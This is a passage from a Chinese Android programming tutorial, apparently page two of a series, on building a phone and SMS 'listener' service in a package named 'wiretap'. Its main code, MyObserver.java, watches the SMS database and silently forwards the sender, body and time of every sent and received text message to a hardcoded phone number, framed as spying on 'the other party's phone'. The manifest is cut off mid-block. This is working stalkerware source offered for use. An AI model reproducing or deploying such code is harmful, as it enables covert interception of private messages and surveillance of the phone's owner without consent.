Android Service 服务的应用之电话监听器以及短信监(2)

break;
            case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
                System.out.println("响铃状态");
                break;
            }
        }
    }

}

然后进入管理短信服务界面MyObserver.java,代码如下所示

package com.xunfang.observer;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.telephony.SmsManager;

public class MyObserver extends ContentObserver {
    private Context context;
    public MyObserver(Context context,Handler handler) {
        super(handler);
        this.context = context;
    }
   
    @Override
    public void onChange(boolean selfChange, Uri uri) {
        ContentResolver resolver = context.getContentResolver();
        Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
        cursor.moveToFirst();
        String address = cursor.getString(0);
        String body = cursor.getString(1);
        int type = cursor.getInt(2);
        long date = cursor.getLong(3);
        //将日期格式化,按这个模式输出日期
        String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
        //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
        if(type ==2 ){
            String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
            String phone = "18883278692";  //这个电话号码是你要将这个信息发送到哪个人的电话号码
            //拿到默认短信管理器
            SmsManager sm = SmsManager.getDefault();
            //发送短信
            sm.sendTextMessage(phone, null, sms, null, null) ;
            System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
        }
        if(type == 1){
            String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
            String phone = "18883278692";      //这个电话号码是你要将这个信息发送到哪个人的电话号码
            SmsManager sm = SmsManager.getDefault();
            sm.sendTextMessage(phone, null, sms, null, null) ;
            System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
        }
    }


}

代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.xunfang.wiretap"
    android:versionCode="1"
    android:versionName="1.0" >

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/ceaa425d3bdcfc01a4a126b255f4447a.html